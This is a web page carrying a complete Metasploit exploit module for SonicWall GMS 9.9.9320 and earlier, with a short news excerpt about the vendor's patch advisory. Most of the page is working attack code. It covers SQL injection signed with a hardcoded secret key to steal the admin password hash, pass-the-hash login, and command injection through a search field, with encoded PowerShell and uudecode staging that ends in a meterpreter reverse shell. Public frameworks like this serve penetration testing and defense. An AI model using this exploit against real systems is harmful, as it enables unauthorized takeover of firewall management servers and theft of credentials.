Headline
Sonicwall GMS 9.9.9320 Remote Code Execution
This Metasploit module exploits a series of vulnerabilities - including auth bypass, SQL injection, and shell injection - to obtain remote code execution on SonicWall GMS versions 9.9.9320 and below.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html # We can actually use the title to identify which platform we're on TITLE_WINDOWS = 'SonicWall Universal Management Host' TITLE_LINUX = 'SonicWall Universal Management Appliance' # Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator) SECRET_KEY = '?~!@#$%^^()' prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager def initialize(info = {}) super( update_info( info, 'Name' => 'Sonicwall', 'Description' => %q{ This module exploits a series of vulnerabilities - including auth bypass, SQL injection, and shell injection - to obtain remote code execution on SonicWall GMS versions <= 9.9.9320. }, 'License' => MSF_LICENSE, 'Author' => [ 'fulmetalpackets <[email protected]>', # MSF module, analysis 'Ron Bowes <[email protected]>' # MSF module, original PoC, analysis ], 'References' => [ [ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'], [ 'CVE', '2023-34124'], [ 'CVE', '2023-34133'], [ 'CVE', '2023-34132'], [ 'CVE', '2023-34127'] ], 'Privileged' => true, 'Targets' => [ [ 'Linux Dropper', { 'Platform' => ['linux'], 'Arch' => [ARCH_X64], 'Type' => :dropper, 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp', 'WritableDir' => '/tmp' } } ], [ 'Windows Command', { 'Platform' => ['win'], 'Arch' => [ARCH_CMD], 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp', 'WritableDir' => '%TEMP%' } } ], [ 'Linux Command', { 'Platform' => ['linux', 'unix'], 'Arch' => [ARCH_CMD], 'Type' => :cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic' } } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-07-12', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK] }, 'DefaultOptions' => { 'SSL' => true, 'RPORT' => '443' } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']), ] ) register_advanced_options([ # This varies by target, so don't define the default here OptString.new('WritableDir', [true, 'A directory where we can write files']), ]) end def check vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path), 'method' => 'GET' ) # Basic sanity checks - the path should return a HTTP/200 return CheckCode::Unknown('Could not connect to web service - no response') if res.nil? return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200 # Ensure we're hitting plausible software return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</ # Otherwise, probably safe? CheckCode::Safe('Does not appear to be running SonicWall GMS') end # Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to # get a password hash def get_password_hash # attempt a sqli. vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...') # SQL injection question to fetch the admin password query = "' union select " + # This must be a valid DOMAIN, which we can thankfully fetch from the DB '(select ID from SGMSDB.DOMAINS limit 1), ' + # These fields don't matter "'', '', '', '', '', " + # This field is returned, so use it to get the id and password for our # the super user, if possible "(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," + # The rest of the fields don't matter, end with a single quote to finish with a clean query "'', '', '" vprint_status("Generated SQL injection: #{query}") # We need to sign our query with the SECRET_KEY token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query)) vprint_status("Generated a token using built-in secret key: #{token}") # Build the URI # Note that encoding space to '+' doesn't work, so we replace it with '%20' uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/\+/, '%20')) # Do it! print_status('Sending SQL injection request to get the username/hash...') res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'headers' => { 'Auth' => '{"user": "system", "hash": "' + token + '"}' } ) # Sanity checks fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil? fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200 fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty? # This field has the SQL injection response hash = res.get_json_document['alias'] # If the server responds with an error, it has no 'alias' field so the key # is missing entirely (this is where it fails against patched targets) fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil? # If alias is present but contains nothing, that means our query got no # results (probably there are no active users, or something?) fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty? # If there's no ':' in the response, something super weird happened fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':') username, hash = hash.split(/:/, 2) print_good("Found an account: #{username}:#{hash}") [username, hash] end # Exploits CVE-2023-34132 (pass the hash) def authenticate(username, hash) # Grab server hashing token vprint_status('Grabbing server hashing token...') res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/appliance/login'), 'keep_cookies' => true ) fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil? # Look for the getPwdHash function call, as it contains the token we need if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil? fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication') end server_token = ::Regexp.last_match(1) vprint_status("Got the server-side token: #{server_token}") # Generate the client_hash by combining the server token + the stolen # password hash client_hash = Digest::MD5.hexdigest(server_token + hash) vprint_status("Generated client token: #{client_hash}") # Send the token print_status('Attempting to authenticate with the client token + password hash...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'), 'keep_cookies' => true, 'vars_post' => { 'action' => 'login', 'clientHash' => client_hash, 'applianceUser' => username } }) fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil? # Check the title to make sure it worked html = res.get_html_document title = html.at('title').text # We can identify the platform based on the title if title == TITLE_LINUX print_good("Successfully logged in as #{username} (Linux detected!)") return Msf::Module::Platform::Linux elsif title == TITLE_WINDOWS print_good("Successfully logged in as #{username} (Windows detected!)") return Msf::Module::Platform::Windows end fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was \"#{title}\", which is not recognized as successful") end def execute_command_windows(cmd) vprint_status("Encoding (Windows) command: #{cmd}") # While this is a shell command injection issue, an aggressive XSS filter # prevents us from using a lot of important characters such as quotes and # plus and ampersands and stuff. We can't even use Base64, because we can't # use the + sign! # # We discovered that we could encode the command as integers, then use # powershell to decode + execute it, so that's what this does. cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}" encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))" # Run the command vprint_status("Running shell command: #{cmd}") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'), 'keep_cookies' => true, 'vars_post' => { 'action' => 'file_system', 'task' => 'search', 'searchFolder' => 'C:\\GMSVP\\etc\\', 'searchFilter' => "|#{encoded_cmd}| rem " } }) # This doesn't work, because our payload blocks and it eventually fails fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty? fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found') print_good('Payload sent!') end def execute_command_linux(cmd) vprint_status('Encoding (Linux) payload') # Generate a filename payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}") # Wrap the command so we can execute arbitrary commands. There are several # difficulties here, the first of which is that we don't have much in the # way of tools. We're missing curl, wget, base64, python, ruby, even perl! # The best tool I could find for staging a payload is uudecode, so we use # that. (I noticed later that telnet exists, which could be another option) # # The good news is, with uudecode, we can send a base64 payload. The bad # news is, we can't use '+', which means we can't use pure base64! To work # around that, we replace '+' with '@', then use a bit of Bash magic to # put it back! We also can't use quotes, so we have to do a mountain of # escaping instead. The default shell is also /bin/sh, so we need to run # bash explicitly for the `$()` substitutions to work. cmd = [ # Build a command that runs in bash (but don't use quotes!) 'bash -c ', # Escape all this for bash Shellwords.escape([ # Use `uudecode` to get a '+' into a variable "PLUS=$(echo -e begin-base64\ 755\ a\\\\nKwee\\\\n==== | uudecode -o-);", # Build a new uuencode file (encoded in base64) with the payload "echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\\\\n", # Encode the payload as base64, but replace + with a variable "#{Base64.strict_encode64(cmd).gsub(/\+/, '${PLUS}')}\\\\n", # Pipe into uudecode '==== | uudecode;', # Run in the background with coproc "coproc #{Shellwords.escape(payload_file)};", # Delete the payload file "rm #{payload_file}" ].join) ].join # Run it! vprint_status("Encoded shell command: #{cmd}") print_status('Attempting to execute the shell injection payload') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'), 'keep_cookies' => true, 'vars_post' => { 'action' => 'file_system', 'task' => 'search', 'searchFolder' => '/opt/GMSVP/etc/', 'searchFilter' => ";#{cmd}#" } }) # This doesn't work, because our payload blocks and it eventually fails fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty? fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found') print_good('Payload sent!') end def exploit # Get the password hash (from SQL injection + auth bypass) username, hash = get_password_hash # Use pass-the-hash to log in using that hash detected_platform = authenticate(username, hash) # Sanity-check the target if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform) fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)") end # Generate a payload based on the target type case target['Type'] when :cmd my_payload = payload.encoded when :dropper my_payload = generate_payload_exe else fail_with(Failure::BadConfig, "Unknown target type: #{target.type}") end # Run a command, using the platform specified in the target if target.platform.platforms.include?(Msf::Module::Platform::Linux) execute_command_linux(my_payload) elsif target.platform.platforms.include?(Msf::Module::Platform::Windows) execute_command_windows(my_payload) else fail_with(Failure::Unknown, "Unknown platform: #{platform}") end endend
Related news
SonicWall on Wednesday urged customers of Global Management System (GMS) firewall management and Analytics network reporting engine software to apply the latest fixes to secure against a set of 15 security flaws that could be exploited by a threat actor to circumvent authentication and access sensitive information. Of the 15 shortcomings (tracked from CVE-2023-34123 through CVE-2023-34137), four
SonicWall on Wednesday urged customers of Global Management System (GMS) firewall management and Analytics network reporting engine software to apply the latest fixes to secure against a set of 15 security flaws that could be exploited by a threat actor to circumvent authentication and access sensitive information. Of the 15 shortcomings (tracked from CVE-2023-34123 through CVE-2023-34137), four